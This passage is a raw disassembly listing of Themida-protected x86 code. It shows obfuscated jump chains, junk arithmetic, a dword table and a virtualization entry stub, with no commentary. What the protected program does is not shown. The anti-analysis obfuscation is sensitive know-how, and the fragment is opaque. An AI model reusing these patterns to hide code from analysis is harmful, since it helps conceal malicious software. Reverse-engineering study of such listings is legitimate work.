jmp loc_58B529
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_59791C: ; CODE XREF: sub_5938B9+4222j
jmp loc_58F72F
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
loc_597921: ; CODE XREF: Themida_:0058F9DCj
sub ecx, eax
sub ecx, 17AA6E21h
pop eax
push ecx
jmp loc_58D400
; ---------------------------------------------------------------------------
loc_597930: ; CODE XREF: Themida_:005935F8j
pop ebp
sub esi, 65CE6BDDh
jmp loc_597ACE
; ---------------------------------------------------------------------------
loc_59793C: ; CODE XREF: Themida_:0058CDAEj
add eax, 1FF801A7h
inc eax
sub eax, 0A3CBDEDDh
add edi, 11597FC2h
sub edi, 241B1AFBh
sub edi, eax
add edi, 241B1AFBh
push eax
jmp loc_58F792
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_597961: ; CODE XREF: sub_58E3A6+17D3j
; sub_58F5B5+887j ...
pop ebp
add edx, eax
jmp loc_5915ED
; END OF FUNCTION CHUNK FOR sub_58F5B5
; =============== S U B R O U T I N E =======================================
sub_597969 proc near ; CODE XREF: sub_590467:loc_58EDDFj
push ebx
mov ebx, 0FFFFFFFFh
jmp loc_592FE8
sub_597969 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_597974: ; CODE XREF: sub_590467-50F1j
add ebp, 83ABD5A8h
or ebp, 782F01D4h
add ebp, 28EC676Dh
jmp loc_58B3FA
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_59798B: ; CODE XREF: sub_58F5B5+4DA4j
pop ebp
add esi, edi
mov edi, [esp+0]
add esp, 4
push 6EB9h
mov [esp+0], esi
push dword ptr [esp+0]
jmp loc_595E16
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_5979A4: ; CODE XREF: Themida_:00596995j
jge loc_58AD05
jmp loc_593495
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_5979AF: ; CODE XREF: sub_595123+1BAj
pop [esp+18h+var_18]
jmp loc_58CFF1
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_5979B7: ; CODE XREF: sub_59762D-242Aj
mov ebx, 0CF156FEh
not ebx
or ebx, 35813180h
jmp loc_590C4B
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_5979C9: ; CODE XREF: sub_590467-3B09j
push esi
push esp
pop esi
push edi
jmp loc_58C233
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_5979D2: ; CODE XREF: Themida_:00594844j
and eax, 18D7478Bh
jmp loc_58D661
; ---------------------------------------------------------------------------
loc_5979DC: ; CODE XREF: Themida_:0059287Dj
neg ecx
not ecx
jmp loc_58ED79
; ---------------------------------------------------------------------------
loc_5979E5: ; CODE XREF: Themida_:0058C722j
pop dword ptr [esp]
mov esp, [esp]
btc [esp], ax
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_5979F6: ; CODE XREF: sub_5938B9+463j
add ebx, edx
pop edx
add ebp, ebx
pop ebx
add ebp, 4
jmp loc_5929C8
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
loc_597A04: ; CODE XREF: Themida_:00591298j
push ebx
jmp loc_58DF77
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_597A0A: ; CODE XREF: sub_58C17E-697j
shr edx, 1
jmp loc_58CA07
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_597A11: ; CODE XREF: Themida_:005918ACj
sub si, 12D0h
add si, 2D95h
add ax, si
pop esi
sub esp, 4
mov [esp], edi
mov di, 53BFh
add di, 1
push ecx
jmp loc_58DBE4
; ---------------------------------------------------------------------------
loc_597A33: ; CODE XREF: Themida_:00592FD1j
sub ebx, 8EAED420h
xor ebp, ebx
pop ebx
shr ebp, 1
shl ebp, 5
sub ebp, 646B57E5h
sub eax, 473D23E6h
add eax, ebp
add eax, 473D23E6h
mov ebp, [esp]
add esp, 4
add eax, ebx
jmp loc_597BB1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59524C
loc_597A63: ; CODE XREF: sub_59524C-5A5Bj
pop ebx
or eax, eax
jz loc_58E839
push dword ptr [edi+1Ch]
push [esp-4+arg_0]
pop ecx
sub esp, 4
mov [esp+0], eax
push esp
pop eax
jmp loc_5920D4
; END OF FUNCTION CHUNK FOR sub_59524C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_597A80: ; CODE XREF: Themida_:00593A6Cj
; sub_595E21-19D4j
add [esp+18h+var_14], ecx
pop ecx
mov eax, [esp+14h+var_14]
add esp, 4
jmp loc_595E0B
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
loc_597A93: ; CODE XREF: Themida_:0058D3B0j
mov [esp], eax
mov eax, 68D853F0h
and eax, 2BAE4E54h
and eax, 6772446h
push ebp
mov ebp, 44h
xor eax, ebp
pop ebp
sub esi, 1A084B09h
add esi, eax
add esi, 1A084B09h
jmp loc_591C1F
; ---------------------------------------------------------------------------
loc_597AC1: ; CODE XREF: Themida_:00596C49j
add edx, esi
pop esi
sub eax, 0A3571D0h
jmp loc_5902B2
; ---------------------------------------------------------------------------
loc_597ACE: ; CODE XREF: Themida_:00597937j
add ecx, esi
jmp loc_591F2B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_597AD5: ; CODE XREF: sub_5938B9-1905j
and ecx, 2193139h
ja loc_59791C
jmp loc_58EAEC
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
sub ecx, eax
xor cl, 38h
push eax
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_597AEC: ; CODE XREF: sub_5938B9-4DC3j
push esi
push ebx
mov ebx, 1B3F7A77h
jmp loc_58A3B9
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
loc_597AF8: ; CODE XREF: Themida_:0059728Cj
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
mov esp, [esp]
mov cx, [esp]
push ecx
mov ecx, esp
push ebx
mov ebx, 67F3567h
sub ebx, 6CD63853h
shr ebx, 5
dec ebx
neg ebx
jmp loc_5976CC
; ---------------------------------------------------------------------------
loc_597B22: ; CODE XREF: Themida_:00590C95j
inc bp
jmp loc_59606A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_597B29: ; CODE XREF: sub_59762D-7F81j
add ebx, edx
pop edx
push 17EAh
mov dword ptr [esp-0Ch+arg_8], eax
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
loc_597B39: ; CODE XREF: Themida_:00593644j
push 88Ch
jmp loc_596A03
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D25
loc_597B43: ; CODE XREF: sub_592D25-20B7j
push edi
mov edi, 2A6A22E5h
mov ebp, edi
pop edi
add ebp, 78C266EDh
jmp loc_58F47E
; END OF FUNCTION CHUNK FOR sub_592D25
; ---------------------------------------------------------------------------
loc_597B57: ; CODE XREF: Themida_:00597126j
xor eax, 46551346h
push esi
mov esi, 0BC77E41h
sub eax, esi
pop esi
push esi
mov esi, 5C1726F7h
xchg ecx, esi
dec ecx
xchg ecx, esi
jmp loc_596508
; ---------------------------------------------------------------------------
loc_597B75: ; CODE XREF: Themida_:00594670j
sub ecx, 23AB31F5h
dec ecx
sub ecx, 0ABEF97DAh
add ebx, ecx
pop ecx
add ebx, 4
xchg ebx, [esp]
pop esp
xor ebx, 0C6560C33h
jmp loc_59518A
; ---------------------------------------------------------------------------
loc_597B97: ; CODE XREF: Themida_:loc_58EC67j
add bp, 0EDEEh
push edi
mov di, bp
mov si, di
pop edi
pop ebp
sub ax, 2513h
sub ax, si
jmp loc_591897
; ---------------------------------------------------------------------------
loc_597BB1: ; CODE XREF: Themida_:00597A5Ej
sub eax, 6FBA703Bh
push esi
push edx
mov edx, 774A1DAAh
xchg ecx, edx
add ecx, 0FFFFFFFFh
xchg ecx, edx
push ecx
jmp loc_58E8BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F836
loc_597BCD: ; CODE XREF: sub_58F836-B4Fj
or eax, 55040E58h
neg eax
xor eax, 1AA1A10h
push ebp
mov ebp, 0A341ABB1h
xor eax, ebp
mov ebp, [esp+0Ch+var_C]
jmp loc_58E296
; END OF FUNCTION CHUNK FOR sub_58F836
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_597BE9: ; CODE XREF: sub_595E21-478Fj
add esp, 4
and eax, ecx
mov ecx, [esp-4+arg_0]
jmp loc_5942C0
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_597BF9: ; CODE XREF: sub_590010-1A8Bj
sub edi, 4
jmp loc_58B77F
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_597C04: ; CODE XREF: Themida_:00596155j
xor [esp], si
push ecx
sub esp, 4
mov [esp], esp
jmp loc_5970B6
; ---------------------------------------------------------------------------
loc_597C14: ; CODE XREF: Themida_:00594698j
add ebp, 47FD63F7h
add ebp, eax
sub ebp, 47FD63F7h
add ebp, 4F3A6CB6h
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_59153E
; ---------------------------------------------------------------------------
loc_597C37: ; CODE XREF: Themida_:0058DB48j
push esi
push 7C6Dh
jmp near ptr byte_58B4F3
; ---------------------------------------------------------------------------
loc_597C42: ; CODE XREF: Themida_:00595FE2j
xor bl, cl
jmp loc_58BBB2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_597C49: ; CODE XREF: sub_5938B9+232Aj
add esp, 4
push esi
jmp loc_58A45D
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_597C55: ; CODE XREF: sub_595123+1428j
sub eax, 4FC95A1Eh
push dword ptr [edi+eax*4]
push [esp+4+var_4]
jmp loc_592BDB
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_597C65: ; CODE XREF: sub_58C17E+B70Aj
or ebx, 1FA147B2h
shr ebx, 1
jmp loc_58C1AC
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_597C72: ; CODE XREF: Themida_:00592AD2j
mov ebx, [esp]
add esp, 4
push ebp
mov ebp, 2
add ecx, ebp
jmp loc_5967AB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_597C85: ; CODE XREF: sub_58C17E+502Fj
mov edx, 31B152B2h
add ecx, edx
pop edx
jmp loc_58CFC1
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_597C92: ; CODE XREF: sub_590467+4164j
jnz sub_59089C
push ebx
mov ebx, 0FFFFFFFFh
add esi, ebx
jmp loc_592BA1
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594654
loc_597CA5: ; CODE XREF: sub_594654-5A8Ej
pop esi
pop [esp+0Ch+var_C]
pop esp
add edx, 2
sub esp, 4
jmp loc_58C0D8
; END OF FUNCTION CHUNK FOR sub_594654
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_597CBB: ; CODE XREF: sub_58C17E-244j
sub ecx, 1A3025A4h
mov [ecx], al
jmp loc_5916BC
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_597CC8: ; CODE XREF: sub_58F5B5-3C80j
jbe loc_58B3F5
jmp loc_58D612
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_597CD3: ; CODE XREF: Themida_:00593964j
push 6ACC00F7h
pop ebx
dec ebx
not ebx
shr ebx, 8
jmp loc_595D42
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_597CE4: ; CODE XREF: sub_5916C4+2j
mov eax, 42AE666Eh
mov ebp, 0E05A776h
add ebp, eax
pop eax
jmp loc_592972
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_597CF6: ; CODE XREF: sub_58F5B5-4D6Bj
jno loc_58D6C5
xor ebp, 347A4849h
jno loc_594719
sub ebp, 4291057Dh
jmp sub_5921D8
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_597D13: ; CODE XREF: Themida_:00591325j
sub cl, 31h
mov ah, cl
pop ecx
push ecx
jmp loc_58BEED
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_597D1F: ; CODE XREF: sub_5916CB+5333j
xchg ebx, [esp+0]
pop esp
sub esp, 4
mov [esp+0], ebp
push edx
push ebp
mov ebp, 5750E80h
jmp loc_58F172
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_597D35: ; CODE XREF: sub_59762D-B28Aj
mov [esp+0], bx
push eax
mov al, 26h
mov bl, al
pop eax
push eax
jmp loc_594048
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_597D45: ; CODE XREF: sub_5916CB+504Aj
pop eax
add ebp, 1
shl ebp, 2
push ecx
jmp loc_58E5C6
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_597D55: ; CODE XREF: sub_58F5B5+4B9Cj
push esp
pop edi
add edi, 4
push ebp
mov ebp, 3F591169h
xchg eax, ebp
jmp loc_58E22C
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BDA
loc_597D69: ; CODE XREF: sub_595BDA-A9A6j
; Themida_:00594EBAj
jnp loc_58AC50
shl esi, 2
jmp loc_5938EF
; END OF FUNCTION CHUNK FOR sub_595BDA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_597D77: ; CODE XREF: sub_5916CB+3303j
mov [esp+0], eax
push 7E2Bh
mov [esp+4+var_4], ecx
push dword ptr [esp+4]
pop ecx
jmp loc_58C50F
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
loc_597D8C: ; CODE XREF: Themida_:00596F66j
mov [esp], esi
jmp loc_5941ED
; ---------------------------------------------------------------------------
loc_597D94: ; CODE XREF: Themida_:00595027j
add bx, 3583h
add bx, ax
sub bx, 3583h
jmp loc_58E449
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B4D6
loc_597DA6: ; CODE XREF: sub_58B4D6+6E8Ej
add ebx, 2D747446h
push edx
jmp loc_58EF5A
; END OF FUNCTION CHUNK FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_597DB2: ; CODE XREF: Themida_:0058AC03j
; sub_590467-167Cj
mov edi, 413D2EFBh
jmp loc_58D883
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_597DBC: ; CODE XREF: Themida_:00592E59j
push small 782Ch
pop cx
sub cx, 21C9h
jb loc_59629B
add cx, 0CA32h
mov bp, cx
mov ecx, [esp]
add esp, 4
sub bx, bp
mov bp, [esp]
add esp, 2
movzx eax, ax
jmp loc_590CC9
; ---------------------------------------------------------------------------
loc_597DF0: ; CODE XREF: Themida_:00591649j
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_597DF5: ; CODE XREF: Themida_:00596DD5j
dec edx
shr edx, 1
or edx, 42AB7548h
neg edx
jmp loc_59376D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B4D6
loc_597E05: ; CODE XREF: sub_58B4D6+2D46j
xchg edx, [esp+10h+var_10]
pop esp
push 3775h
jmp loc_594DE0
; END OF FUNCTION CHUNK FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_597E13: ; CODE XREF: sub_58C17E+662Ej
push 6524558Ch
pop edx
jmp loc_594B2B
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_597E1E: ; CODE XREF: Themida_:00592C0Dj
add esp, 4
sub esp, 4
mov [esp], ecx
push ebx
push ecx
mov ch, 0CFh
mov bh, ch
mov ecx, [esp]
jmp loc_593B09
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_597E38: ; CODE XREF: sub_58C17E-500j
mov [esp-0Ah+arg_4+2], edi
mov edi, 66FD314Fh
jmp loc_5903B3
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BDA
loc_597E45: ; CODE XREF: sub_595BDA-1081j
mov esi, 281138E9h
shl esi, 1
inc esi
jmp loc_58DED8
; END OF FUNCTION CHUNK FOR sub_595BDA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_597E52: ; CODE XREF: sub_58C17E+770Aj
sub ebp, 159F6B74h
pop edx
shr ebp, 5
sub ebp, 35305ABh
and eax, ebp
push dword ptr [esp+0]
pop ebp
jmp loc_58FF50
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_597E6D: ; CODE XREF: Themida_:005951EFj
mov ebx, 3D053847h
mov ebp, ebx
pop ebx
mov edx, 3D053849h
jmp loc_58CF65
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_597E7F: ; CODE XREF: sub_58C17E-1C13j
; sub_590010+53Bj
shl edx, 1
push ebp
mov ebp, 1
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp+0]
pop esp
mov [esp+0], ebx
mov ebx, 24h
add ebx, edi
push eax
push edx
jmp loc_58C8DB
; ---------------------------------------------------------------------------
loc_597EAB: ; CODE XREF: sub_590010-22DDj
xor esi, 55980443h
add eax, esi
jmp loc_596ADA
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_597EB8: ; CODE XREF: Themida_:0058E7BDj
; Themida_:00590FBCj
rol byte ptr [esp], cl
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_597EC1: ; CODE XREF: sub_590010-F0Aj
push ax
pushf
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_597EC9: ; CODE XREF: Themida_:00595074j
push esp
pop ecx
jmp loc_58EC82
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_597ED0: ; CODE XREF: sub_5EC2E8-55F2Aj
not dh
dec dh
sub dh, 23h
jmp loc_58BD84
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
lodsd
push ebx
jmp loc_58AE49
; ---------------------------------------------------------------------------
loc_597EE3: ; CODE XREF: Themida_:0059607Bj
shl dx, 5
shl dx, 3
jmp loc_596E88
; ---------------------------------------------------------------------------
loc_597EF0: ; CODE XREF: Themida_:0058F1CEj
shl edi, 6
or edi, 7CF721FEh
shl edi, 1
add edi, 7CFA646Ch
xor edi, 2159D00Fh
xor esi, edi
mov edi, [esp]
add esp, 4
sub ebp, esi
mov esi, [esp]
jmp loc_597506
; ---------------------------------------------------------------------------
loc_597F1C: ; CODE XREF: Themida_:loc_591375j
add ecx, 3EE91676h
jnb loc_58EE18
inc ecx
jmp loc_594AD9
; ---------------------------------------------------------------------------
and dh, 0A5h
mov ebp, edi
loc_597F33: ; CODE XREF: Themida_:00591E55j
sub esp, 4
jmp loc_593A03
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_597F3B: ; CODE XREF: sub_58F5B5+6739j
push [esp-8+arg_4]
jmp loc_5969BC
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_597F43: ; CODE XREF: sub_5916C4+3DD7j
pop edi
add eax, 44230C85h
sub eax, esi
sub eax, 44230C85h
mov esi, [esp-0Ch+arg_8]
add esp, 4
sub esp, 4
jmp loc_596CC1
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_597F61: ; CODE XREF: sub_5EC2E8-552F8j
mov dl, al
pop eax
neg dl
jmp loc_58A82E
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_597F6B: ; CODE XREF: sub_590010-534Bj
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_597F70: ; CODE XREF: Themida_:loc_5956D6j
sub dh, 0B2h
jmp loc_58B66F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595655
loc_597F78: ; CODE XREF: sub_595655-8C13j
not eax
inc eax
sub eax, 0BA73FD3Eh
add esi, eax
pop eax
push edx
mov edx, 6CCA5E18h
sub edx, 0D575D43h
and esi, edx
pop edx
jmp loc_59440A
; END OF FUNCTION CHUNK FOR sub_595655
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59524C
loc_597F97: ; CODE XREF: sub_59524C-3FD1j
sub ebx, 26473568h
sub ebx, ecx
jmp loc_58AFD0
; END OF FUNCTION CHUNK FOR sub_59524C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_597FA4: ; CODE XREF: sub_5938B9-6300j
pop ecx
add edi, ecx
add edi, 66FE2553h
push eax
jmp loc_593BE4
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
loc_597FB3: ; CODE XREF: Themida_:loc_592DD7j
push ebp
jmp loc_593F2B
; ---------------------------------------------------------------------------
loc_597FB9: ; CODE XREF: Themida_:00590F89j
add esi, 117B0109h
mov ecx, [esp]
add esp, 4
jmp loc_595962
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_597FCA: ; CODE XREF: sub_590467-533Aj
mov edi, [esp+0Ah+var_A]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+0]
pop esp
sub edi, 1FF7741Eh
jnz loc_59703D
sub edi, 0C0E3F7C9h
jmp loc_592777
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_597FF7: ; CODE XREF: Themida_:005942BBj
xor eax, esi
jmp loc_58E69E
; ---------------------------------------------------------------------------
loc_597FFE: ; CODE XREF: Themida_:0058BF54j
mov al, 94h
push ebx
mov bl, al
push eax
mov al, bl
mov dh, al
pop eax
pop ebx
jmp loc_596C13
; ---------------------------------------------------------------------------
loc_59800F: ; CODE XREF: Themida_:0058ED04j
xchg ebp, [esp]
pop esp
jmp loc_58F396
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_598018: ; CODE XREF: sub_58C17E+49DDj
pop ebx
push esi
jmp loc_58E5EE
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_59801F: ; CODE XREF: Themida_:0058DC14j
xchg edx, [esp]
pop esp
jmp loc_595E52
; =============== S U B R O U T I N E =======================================
sub_598028 proc near ; CODE XREF: sub_58C17E+3717j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00591866 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00596914 SIZE 0000000F BYTES
sub esp, 4
jmp loc_596914
sub_598028 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_598030: ; CODE XREF: sub_58C17E+976Dj
push 4811h
mov [esp+0Ah+var_C+2], eax
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop eax
push ebx
mov ebx, 58A13B59h
sub ebx, 51711A3Bh
sub ebx, 730211Ah
add eax, ebx
jmp loc_58CBDC
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_59805F: ; CODE XREF: sub_590010+CB4j
pop ecx
jmp loc_58C5DA
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
align 2
dw 5F28h
dd 5BA36300h, 5F352300h, 12FF4C00h, 90EB9400h, 74248B7Ch
dd 0F8h, 21300h, 200h, 100h, 300h, 74248B00h, 0F8h, 4 dup(0)
dd 5A8DB400h, 59897200h, 598DD600h, 59999300h, 5AA2DD00h
dd 5A122500h, 5A025B00h, 59B09F00h, 59965D00h, 5A0C3200h
dd 59DDD000h, 5A648400h, 599A5200h, 59EEF500h, 5A924A00h
dd 5AB33D00h, 5AC46D00h, 5A26C300h, 599B1A00h, 5A4D1F00h
dd 5A08DA00h, 5A96B400h, 5A7DC800h, 5A0B0100h, 5AE43D00h
dd 5AE99C00h, 5A479200h, 59BF6900h, 5A983000h, 59907400h
dd 5A7B4D00h, 5A1E6100h, 5A18C100h, 5A2C9500h, 5A6B7500h
dd 5A404A00h, 5ABF7A00h, 5A6F8D00h, 5A942C00h, 59AD8B00h
dd 5A529500h, 59F43D00h, 5A970900h, 59AB1B00h, 5A3FD800h
dd 5A29D000h, 5990EA00h, 5A239200h, 5A0B4800h, 59D4C200h
dd 59E89A00h, 5A3FBB00h, 5A662B00h, 5AD15F00h, 5A490900h
dd 59D03100h, 5A5E2200h, 59B00A00h, 5A50E000h, 5A8E3100h
dd 5AE58400h, 59B08400h, 59BC7800h, 5AE9BC00h, 5A089500h
dd 5A671400h, 5AB7ED00h, 5A7C3F00h, 5ADD9800h, 59AE7A00h
dd 5A8C5000h, 59B19D00h, 59E07900h, 5A6BCB00h, 59E2FC00h
dd 5ADC3600h, 5A88AA00h, 5A2D0300h, 5AC80F00h, 5A00EB00h
dd 5985E200h, 59C24000h, 5AA68400h, 5AC75F00h, 5A161300h
dd 59A14B00h, 59A06D00h, 599A7800h, 5A397900h, 5A5DBE00h
dd 5A758C00h, 5AF32100h, 5A60F600h, 59B2F900h, 5AA4DF00h
dd 59F4EC00h, 5A190D00h, 5995C600h, 5A03EE00h, 5A60D600h
dd 5A9C9B00h, 5A03B400h, 59C63F00h, 59E8C100h, 5AD60900h
dd 5A563600h, 59A1B700h, 5AE30700h, 59D05000h, 59C66C00h
dd 5A56F200h, 5AA09B00h, 5A3B2500h, 5A9CDB00h, 5A350900h
dd 5ADC1200h, 59C8DF00h, 5AE81600h, 5ABD6100h, 5A6D9500h
dd 59AE7400h, 5A4DF700h, 5AA2A200h, 5AD1C100h, 5AAA3C00h
dd 5A098300h, 5A466200h, 5A474900h, 5ADA7800h, 5A2BE800h
dd 5AE52F00h, 5A1BDA00h, 5AB85400h, 5AC66C00h, 5A92A300h
dd 5A535700h, 59D52000h, 5A4D9500h, 5AADE600h, 59D64000h
dd 5A2B1700h, 5ADDFD00h, 59C5D500h, 5A813F00h, 59C88E00h
dd 59ED8E00h, 5ABFE500h, 5A92C000h, 5A906500h, 5A10C600h
dd 59CFCE00h, 5A8C9400h, 5A0CC100h, 59C4E800h, 5A2B2500h
dd 59DEB700h, 5AE08A00h, 59CF7000h, 5A9FA100h, 5A14AD00h
dd 5AE75F00h, 59BF8800h, 5A66E100h, 5AF01B00h, 5A522500h
dd 5AC40E00h, 5A976300h
db 0
; ---------------------------------------------------------------------------
loc_598345: ; CODE XREF: Themida_:005DF91Ej
; Themida_:005DF928j ...
pusha
pushf
cld
call $+5
pop edi
sub edi, 7E55EC2h
mov eax, edi
add edi, 7E55BDAh
cmp eax, [edi+2Ch]
jnz short loc_598363
jmp short loc_598376
; ---------------------------------------------------------------------------
loc_598363: ; CODE XREF: Themida_:0059835Fj
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_598372
; ---------------------------------------------------------------------------
loc_59836D: ; CODE XREF: Themida_:00598374j
add [edi+ecx*4+40h], eax
dec ecx
loc_598372: ; CODE XREF: Themida_:0059836Bj
or ecx, ecx
jnz short loc_59836D
loc_598376: ; CODE XREF: Themida_:00598361j
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_598383: ; CODE XREF: Themida_:0059838Aj
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_598383
loc_59838C: ; CODE XREF: Themida_:00598637j
; Themida_:0059867Dj ...
lodsb
add al, 0E5h
push ecx
sub esp, 4
mov [esp], ebx
mov bh, 5
mov cl, 0C4h
sub cl, bh
pop ebx
shl cl, 3
jz loc_598893
push ecx
not byte ptr [esp]
pop ecx
jmp loc_599B67
; ---------------------------------------------------------------------------
loc_5983B3: ; CODE XREF: Themida_:0059B013j
